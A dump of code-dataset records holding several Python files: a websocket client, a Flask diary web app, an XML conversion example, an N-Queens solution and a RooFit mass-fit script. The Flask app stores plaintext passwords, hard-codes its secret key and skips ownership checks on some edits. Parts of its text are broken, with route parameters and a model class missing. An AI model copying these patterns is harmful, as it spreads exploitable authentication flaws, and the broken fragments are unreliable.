"lsst.sims.utils.htmModule.halfSpaceFromRaDec", "line_number": 40, "usage_type": "call"}, {"api_name": "lsst.sims.utils.htmModule", "line_number": 40, "usage_type": "name"}, {"api_name": "lsst.sims.utils.htmModule.halfSpaceFromRaDec", "line_number": 41, "usage_type": "call"}, {"api_name": "lsst.sims.utils.htmModule", "line_number": 41, "usage_type": "name"}, {"api_name": "lsst.sims.utils.htmModule.halfSpaceFromPoints", "line_number": 42, "usage_type": "call"}, {"api_name": "lsst.sims.utils.htmModule", "line_number": 42, "usage_type": "name"}, {"api_name": "lsst.sims.utils.htmModule.halfSpaceFromPoints", "line_number": 45, "usage_type": "call"}, {"api_name": "lsst.sims.utils.htmModule", "line_number": 45, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.degrees", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.degrees", "line_number": 70, "usage_type": "call"}, {"api_name": "lsst.sims.utils.htmModule.halfSpaceFromRaDec", "line_number": 80, "usage_type": "call"}, {"api_name": "lsst.sims.utils.htmModule", "line_number": 80, "usage_type": "name"}]} {"seq_id": "35326938214", "text": "from uuid import uuid4\nfrom .protocol import package as pkg\nfrom threading import Event\nimport asyncio\nimport json\nimport websockets\n\nclass Device():\n \"\"\"\n Open an connection to the websocket server.\n\n (send): Will send a package to the server and wait for an answer.\n (close): Will close the connection to the server.\n\n Can be used as a context manager.\n\n \"\"\"\n def __init__(self, uri, loop=None):\n self._id = uuid4().hex\n self.uri = uri\n self.stopped = Event()\n self.loop = loop if loop is not None else asyncio.get_event_loop()\n self.reconnections = 0\n self.reconnect_limit = 3\n\n async def __aenter__(self):\n await self.connect()\n return self\n\n async def __aexit__(self, *args):\n await self.websocket.close()\n\n def close(self):\n self.stopped.set()\n \n async def connect(self):\n \"\"\"\n Connect to the websocket server.\n \"\"\"\n self.websocket = await websockets.connect(self.uri)\n \n async def reconnect(self):\n \"\"\"\n Reconnect to the websocket server.\n \"\"\"\n if self.reconnections < self.reconnect_limit: # Avoid infinite loop\n self.reconnections += 1 # Increase reconnection counter\n try: # Try to reconnect\n await self.connect() # Connect to the websocket server\n self.reconnections = 0 # Reset reconnection counter\n except ConnectionRefusedError: # If connection is refused\n import random\n await asyncio.sleep(random.random()) # Wait 0.N second\n await self.reconnect() # Try to reconnect again\n else: # If reconnection limit is reached\n self.close() # Close the connection\n raise ConnectionError(\"Connection to server lost.\")\n \n\n async def send(self, package):\n \"\"\"\n Send a package to the server and wait for an answer.\n (package): protocol.package object\n \"\"\"\n try:\n if not isinstance(package, pkg):\n raise TypeError(f\"package must be instance of {pkg}\")\n await self.websocket.send(json.dumps(package.json()))\n if package.read:\n return pkg(**json.loads(await self.websocket.recv()))\n except websockets.exceptions.ConnectionClosed:\n await self.reconnect()\n await self.send(package)\n\n\nasync def unit_test(show=False):\n \"\"\"\n unit test for the client\n (show): if True will print the package sent and received\n\n Steps:\n 1. Connect to the server\n 2. Send a 'n' random packages\n 3. Check integrity of the packages\n 4. Close the connection\n \"\"\"\n\n value = False\n show and print('='*20, 'UNIT TEST', '='*20)\n show and print(\"[Starting] Unit Test - MarlinAPI Websocket Client\")\n try:\n from .protocol import example_packages\n test_packages = example_packages(10)\n\n async with Device(\"ws://192.168.4.1:8010\") as X:\n assert X.websocket.open, \"Websocket is not open\"\n show and print(\"MarlinAPI-Client open --- OK\")\n\n commands = [await X.send(pk) for pk in test_packages]\n assert commands is not None, 'No commands received, check if marlin is connected on server'\n show and print('Commands send/received --- OK' )\n\n for get, post in zip(commands, test_packages):\n if get is not None:\n assert get.data[0] == post._id, 'received package data not match with correspondent send package id, serial should be hard reseted'\n show and print('Commands data match --- OK' )\n\n assert X.websocket.closed, 'Websocket is not closed, check __aexit__ method'\n show and print('MarlinAPI-Client closed --- OK' )\n value = True\n except ConnectionRefusedError:\n show and print(\"MarlinAPI-Client open --- Failed\")\n finally:\n show and print(\"[Finished] Unit Test - MarlinAPI Websocket Client\")\n show and print('='*51)\n return value\n\nasync def main(uri, raw=False):\n \"\"\"\n Connect to the server and wait for user input data.\n (uri): Websocket server uri\n (raw->False): Don't convert data to package object. \n \"\"\"\n async with Device(uri) as c:\n try:\n while c.websocket.open:\n data = input('Send: ')\n if raw:\n await c.send(data)\n else:\n qtd_ansers = int(input('Qtd answers: '))\n timeout = int(input('Timeout: '))\n echo = input('Last response: ') if qtd_ansers <0 else \"ok\"\n print(\"Echo :\", await c.send(pkg(data=data, answer_lines=qtd_ansers, timeout=timeout, end_echo=echo)))\n except KeyboardInterrupt:\n c.close()\n\nif __name__ == \"__main__\":\n asyncio.run(main(\"ws:0.0.0.0:8010\"))\n", "repo_name": "HenryckeBSchenberk/wspyserial", "sub_path": "src/wspyserial/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 5120, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "uuid.uuid4", "line_number": 19, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 21, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 22, "usage_type": "call"}, {"api_name": "websockets.connect", "line_number": 40, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 53, "usage_type": "call"}, {"api_name": "random.random", "line_number": 53, "usage_type": "call"}, {"api_name": "protocol.package", "line_number": 66, "usage_type": "argument"}, {"api_name": "protocol.package", "line_number": 67, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 68, "usage_type": "call"}, {"api_name": "protocol.package", "line_number": 70, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 70, "usage_type": "call"}, {"api_name": "websockets.exceptions", "line_number": 71, "usage_type": "attribute"}, {"api_name": "protocol.example_packages", "line_number": 93, "usage_type": "call"}, {"api_name": "protocol.package", "line_number": 134, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 139, "usage_type": "call"}]} {"seq_id": "1429952251", "text": "from flask import Flask, render_template, url_for, request, redirect, session\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\nimport uuid\n\n# app.logger.info(username) - log\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///tinydiary.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\napp.secret_key = \"acsdopm*SCm9a8scm283mc09C' % self.id\n\n\n@app.route('/')\ndef index():\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n if uid.status:\n return redirect(url_for('show_user_profile', user=uid.username))\n else:\n return render_template('index.html')\n except:\n return render_template('index.html')\n\n\n@app.route('/error/')\ndef error_func(error):\n app.logger.info(error)\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n if uid.status:\n return redirect(url_for('show_user_profile', user=uid.username))\n else:\n return render_template('index.html')\n except:\n if error == 1:\n app.logger.info(error)\n text_error = 'Email/Username has already been taken.'\n return render_template('index.html', error=text_error)\n elif error == 2:\n text_error = 'Your email or password were incorrect.'\n return render_template('index.html', error=text_error)\n else:\n text_error = \"Sorry, we do not work.\"\n return render_template('index.html', error=text_error)\n\n\n@app.route('/register', methods=['POST', 'GET'])\ndef register():\n if request.method == 'POST':\n session['uid'] = str(uuid.uuid4())\n username = request.form['username']\n email = request.form['email']\n password = request.form['password']\n status = True\n session_user = session['uid']\n \n try: \n article = Article(username=username, email=email, password=password, session=session_user, status=status)\n db.session.add(article)\n db.session.commit()\n return redirect(url_for('show_user_profile', user=username))\n except:\n error = 1\n return redirect('/error/1')\n else:\n # Show settings panel this user\n return redirect('/')\n\n\n@app.route('/login', methods=['POST', 'GET'])\ndef login():\n if request.method == 'POST':\n session['uid'] = str(uuid.uuid4())\n username = request.form['username']\n password = request.form['password']\n status = True\n session_user = session['uid']\n \n article = Article.query.filter_by(username=username).first()\n try:\n if article.username == username and article.password == password:\n article.session = session_user\n article.status = True\n db.session.commit()\n return redirect(url_for('show_user_profile', user=username))\n else:\n return redirect('/error/2')\n except:\n return redirect('/error/2')\n else:\n # Show settings panel this user\n return redirect('/')\n\n\n@app.route('/')\ndef show_user_profile(user):\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n if uid.status and user == uid.username:\n article = Article.query.order_by(Article.date.desc()).filter_by(user_post=user).all() #rticle.query.order_by(Article.date.desc()).get(user) - выборка по юзернейму\n return render_template('posts.html', article=article, user=user)\n else:\n return redirect(url_for('index'))\n except:\n return redirect(url_for('index'))\n\n\n@app.route('//settings', methods=['POST','GET'])\ndef show_user_settings(user):\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n if uid.status and request.method == 'POST':\n article = Article.query.filter_by(username=user).first()\n article.email = request.form['email']\n article.password = request.form['password']\n\n db.session.commit()\n return redirect(url_for('show_user_profile', user=user))\n elif uid.status and request.method == 'GET' and user == uid.username:\n article = Article.query.filter_by(username=user).first()\n # Show settings panel this user\n return render_template('settings.html', article=article, user=user)\n else:\n return redirect(url_for('index'))\n except:\n return redirect(url_for('index'))\n\n\n@app.route('//create', methods=['POST', 'GET'])\ndef create_new_post(user):\n if request.method == 'POST':\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n if uid.status:\n title = request.form['title']\n intro = request.form['intro']\n text = request.form['text']\n\n article = Article(user_post=user, title=title, intro=intro, text=text)\n\n db.session.add(article)\n db.session.commit()\n return redirect(url_for('show_user_profile', user=user))\n else:\n return redirect(url_for('index'))\n except:\n return redirect('/')\n else:\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n app.logger.info('1')\n if uid.status and user == uid.username:\n app.logger.info('2')\n return render_template('create.html', user=user)\n else:\n app.logger.info('3')\n return redirect(url_for('index'))\n except:\n app.logger.info('4')\n return redirect('/')\n\n\n@app.route('//')\ndef show_post(user,id):\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n article = Article.query.filter_by(id=id).first()\n if uid.status and article.user_post == user and uid.username == user:\n article = Article.query.filter_by(id=id).first()\n return render_template('post.html', article=article, user=user)\n else:\n return redirect('/')\n except:\n return redirect(\"/\")\n\n\n@app.route('///del')\ndef del_post(user,id):\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n if uid.status and uid.username == user:\n article = Article.query.filter_by(id=id).first()\n db.session.delete(article)\n db.session.commit()\n return redirect(url_for('show_user_profile', user=user))\n else:\n return redirect('/')\n except:\n return redirect('/')\n\n@app.route('///edit', methods=['POST', 'GET'])\ndef edit_post(user,id):\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n if uid.status and request.method == 'POST':\n article = Article.query.get(id)\n article.title = request.form['title']\n article.intro = request.form['intro']\n article.text = request.form['text']\n\n db.session.commit()\n return redirect(url_for('show_post', user=user, id=id))\n elif uid.status and request.method == 'GET' and uid.username == user:\n article = Article.query.get(id)\n # Show settings panel this user\n return render_template('edit.html', article=article, user=user)\n else:\n return redirect(url_for('index'))\n except:\n return redirect('/')\n\n\n@app.route('//logout')\ndef user_logout(user):\n try:\n uid = Article.query.filter_by(session=session['uid']).first()\n if uid.status and uid.username == user:\n uid.query.update({'status': False})\n db.session.commit()\n return redirect(url_for('index'))\n else:\n return redirect('/')\n except:\n return redirect('/')\n\n\nif __name__ == '__main__':\n app.run() #host='0.0.0.0'", "repo_name": "vlchnk/TinyDiary", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 8826, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 22, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 69, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 69, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 70, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 70, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 75, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 84, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 92, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 92, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 93, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 94, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 94, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 95, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 95, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 97, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 112, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 118, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 121, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 123, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 123, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 125, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 125, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 131, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 132, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 132, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 134, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 134, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 135, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 135, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 138, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 138, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 139, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 139, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 142, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 144, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 144, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 146, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 146, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 151, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 151, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 153, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 155, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 155, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 156, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 156, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 157, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 157, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 163, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 163, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 165, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 165, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 167, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 170, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 174, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 177, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 177, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 180, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 186, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 190, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 192, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 194, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 200, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 205, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 205, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 207, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 209, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 214, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 215, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 215, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 217, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 217, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 218, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 218, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 219, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 219, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 222, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 222, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 223, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 223, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 226, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 228, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 228, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 230, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 236, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 240, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 240, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 242, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 244, "usage_type": "call"}]} {"seq_id": "19271030305", "text": "import dicttoxml\nfrom xml.dom.minidom import parseString\nimport os\n\n# 定义一个字典\nd = [20, 'names',\n {'name': 'Bill', 'age': 30, 'salary': 2000},\n {'name': '王军', 'age': 34, 'salary': 3000},\n {'name': 'John', 'age': 25, 'salary': 2500}]\n# 将字典转换为XML格式（bytes形式）\nbxml = dicttoxml.dicttoxml(d, custom_root='persons')\n# 将bytes形式的XML数据按utf-8编码格式解码成XML字符串\nxml = bxml.decode('utf-8')\n# 输出XML字符串\nprint(xml)\n# 解析XML字符串\ndom = parseString(xml)\n# 生成带缩进格式的XML字符串\nprettyxml = dom.toprettyxml(indent=' ')\n# 创建files目录\nos.makedirs('files', exist_ok=True)\n# 以只写和utf-8编码格式的方式打开persons.xml文件\nf = open('files/persons.xml', 'w', encoding='utf-8')\n# 将格式化的XML字符串写入persons.xml文件\nf.write(prettyxml)\nf.close()\n", "repo_name": "pengchenyu111/SpiderLearning", "sub_path": "File/dict2xml.py", "file_name": "dict2xml.py", "file_ext": "py", "file_size_in_byte": 868, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "dicttoxml.dicttoxml", "line_number": 11, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 13, "usage_type": "name"}, {"api_name": "xml.dom.minidom", "line_number": 15, "usage_type": "argument"}, {"api_name": "xml.dom.minidom.parseString", "line_number": 17, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 17, "usage_type": "argument"}, {"api_name": "os.makedirs", "line_number": 21, "usage_type": "call"}]} {"seq_id": "27856396514", "text": "# https://leetcode.com/problems/n-queens/description/\n\n\nfrom typing import List, Dict, Set\n\n\nclass Solution:\n def solveNQueens(self, n: int) -> List[List[str]]:\n result = []\n\n def find_queen(queen: int, diag1: Set, diag2: Set, cols: Dict) -> None:\n if queen == n: # Found queens potision\n result.append(list(cols.keys()))\n return\n for x in range(n):\n # cols = Queen's column index, diag1 = \\ diagonal, diag2 = / diagonal\n if x in cols or queen + x in diag1 or queen - x in diag2:\n continue\n cols[x] = 1\n diag1.add(queen + x)\n diag2.add(queen - x)\n find_queen(queen + 1, diag1, diag2, cols)\n del cols[x]\n diag1.remove(queen + x)\n diag2.remove(queen - x)\n\n find_queen(0, set(), set(), dict())\n\n for board in result: # Draw board\n for idx in range(len(board)):\n pos = board[idx]\n board[idx] = \".\" * pos + \"Q\" + \".\" * (len(board) - pos - 1)\n\n return result\n\n\na = Solution()\nprint(a.solveNQueens(1))\n", "repo_name": "thecode00/Algorithm-Problem-Solve", "sub_path": "Leetcode/Python/51. N-Queens/solution.py", "file_name": "solution.py", "file_ext": "py", "file_size_in_byte": 1182, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Set", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 8, "usage_type": "name"}]} {"seq_id": "14084834046", "text": "import ROOT\n\nimport pandas as pd\nimport numpy as np\n\nimport argparse\n\nfrom ROOT import TFile,TCanvas\nfrom ROOT import TH1,RooDataSet,gROOT,gDirectory\n\nimport rootpy\nimport root_pandas\nfrom root_pandas import read_root, to_root\n\nimport matplotlib\nfrom matplotlib import pyplot as plt\n\nfrom ROOT import TMinuit, RooWorkspace\n\nfrom ROOT import RooGaussian,RooPolynomial,RooDataSet,RooDataHist,TH1,TH1F,RooRealVar,RooArgSet,RooArgList,RooExponential\nfrom ROOT import RooAddPdf,kGreen,kRed,kBlue,RooFit,gROOT,TList,RooGenericPdf,RooProdPdf,RooVoigtian, RooChebychev, RooBernstein\nfrom ROOT.RooFit import Components,LineColor,LineStyle,Name,Normalization,Layout,Format,Label,Parameters,Range,Title,Rename, Extended\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--path', type=str, default=\"test.h5\")\nargs = parser.parse_args()\n\nx_min = 4.0\nx_max = 5.5\nx_mass = 5.35\n\ndata = pd.read_hdf(args.path)\n\nmass = RooRealVar(\"mass\",\"M(KK)[GeV]\",4.05,5.75)\n\nmean = RooRealVar(\"mean\",\"mean of gaussian\",x_mass,x_mass-0.05,x_mass+0.05);\nsigma = RooRealVar(\"sigma\",\"width of gaussian\",0.0013);\ngamma = RooRealVar(\"gamma\",\"gamma of bw\",0.004253)#,0.001,0.01);\n\nsigma_2 = RooRealVar(\"sigma\",\"width of gaussian\",0.0013);\ngFrac = RooRealVar(\"gFrac\",\"gFrac\",5E5,0.,5.0E6)\n\nmean_3 = RooRealVar(\"mean\",\"mean of gaussian\",x_mass,x_mass-0.005,x_mass+0.005);\nsigma_3 = RooRealVar(\"sigma\",\"width of gaussian\",0.0013);\n\nsFrac = RooRealVar(\"sFrac\",\"sFrac\",5E5,0.,5.0E6)\n\nbumpFrac = RooRealVar(\"bumpFracbumpFrac\",\"bumpFrac\",5E5,0.,5.0E6)\n\nalpha = RooRealVar(\"alpha\",\"alpha\",-0.1,-1.0,1.0)\n\na0 = RooRealVar(\"a0\",\"a0\",0.1,-5.0,5.0)\na1 = RooRealVar(\"a1\",\"a1\",0.1,-5.0,5.0)\na2 = RooRealVar(\"a2\",\"a2\",0.1,-5.0,5.0)\na3 = RooRealVar(\"a3\",\"a3\",0.01,-5.0,5.0)\na4 = RooRealVar(\"a4\",\"a4\",0.01,-5.0,5.0)\na5 = RooRealVar(\"a5\",\"a5\",0.01,-5.0,5.0)\na6 = RooRealVar(\"a6\",\"a6\",0.01,-5.0,5.0)\na7 = RooRealVar(\"a7\",\"a7\",0.001,-5.0,5.0)\na8 = RooRealVar(\"a8\",\"a8\",0.001,-5.0,5.0)\naset = RooArgList(a0,a1,a2,a3,a4,a5,a6,a7,a8)\nbkg = RooBernstein(\"cheb\",\"Background\",mass,aset)\n#bkg = RooExponential(\"bkg\",\"bkg\",mass,alpha)\n\n#gauss = RooGaussian(\"gauss\",\"gaussian PDF \",mass,mean,sigma)\nsig_1 = RooGaussian(\"sig_1\",\"sig_1\",mass,mean,sigma)\nsig_2 = RooGaussian(\"sig_1\",\"sig_1\",mass,mean,sigma_2)\n\nsig_3 = RooGaussian(\"bump\",\"bump\",mass,mean_3,sigma_3)\n\nsig = RooAddPdf(\"sig\",\"g+g\",sig_1,sig_2,gFrac)\n\n#sig_1 = RooGaussian(\"sig_1\",\"sig_1\",mass,mean,sigma)\n\nnSig = RooRealVar(\"nSig\",\"nSig\",100,100,len(data[\"mass\"].values))\nnBkg = RooRealVar(\"nBkg\",\"nBkg\",1000,100,len(data[\"mass\"].values))\n\n#tot = RooAddPdf(\"tot\",\"g+cheb\",RooArgList(sig,sig_3,bkg),RooArgList(sFrac,bumpFrac))\ntot = RooAddPdf(\"tot\",\"g+cheb\",RooArgList(sig_1,bkg),RooArgList(nSig,nBkg))\nh1 = TH1F(\"hist\",\"hist\",200, 4.05,5.75)\nmap(h1.Fill, data[\"mass\"].values)\n\nmasslist = RooArgList(mass)\ndh = RooDataHist(\"dh\",\"dh\",masslist,h1)\n\ntot.fitTo(dh)\n\ncanvas = TCanvas(\"c\",\"c\",1200,1000)\nkkFrame = mass.frame()\ndh.plotOn(kkFrame)\n\ntot.plotOn(kkFrame)#,RooFit.Normalization(1.0/float(nfit)))\ndh.plotOn(kkFrame)\n#tot.paramOn(kkFrame,RooFit.Layout(0.57,0.99,0.65))\n\nkkFrame.Draw()\ncanvas.Draw()\n\ncanvas.SaveAs(\"test.png\")\n", "repo_name": "AdrianoDee/JPsiPhiAnalysis", "sub_path": "utilities/datacards/datacard.py", "file_name": "datacard.py", "file_ext": "py", "file_size_in_byte": 3131, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.read_hdf", "line_number": 33, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 35, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 37, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 38, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 39, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 41, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 42, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 44, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 45, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 47, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 49, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 51, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 53, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 54, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 55, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 56, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 57, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 58, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 59, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 60, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 61, "usage_type": "call"}, {"api_name": "ROOT.RooArgList", "line_number": 62, "usage_type": "call"}, {"api_name": "ROOT.RooBernstein", "line_number": 63, "usage_type": "call"}, {"api_name": "ROOT.RooGaussian", "line_number": 67, "usage_type": "call"}, {"api_name": "ROOT.RooGaussian", "line_number": 68, "usage_type": "call"}, {"api_name": "ROOT.RooGaussian", "line_number": 70, "usage_type": "call"}, {"api_name": "ROOT.RooAddPdf", "line_number": 72, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 76, "usage_type": "call"}, {"api_name": "ROOT.RooRealVar", "line_number": 77, "usage_type": "call"}, {"api_name": "ROOT.RooAddPdf", "line_number": 80, 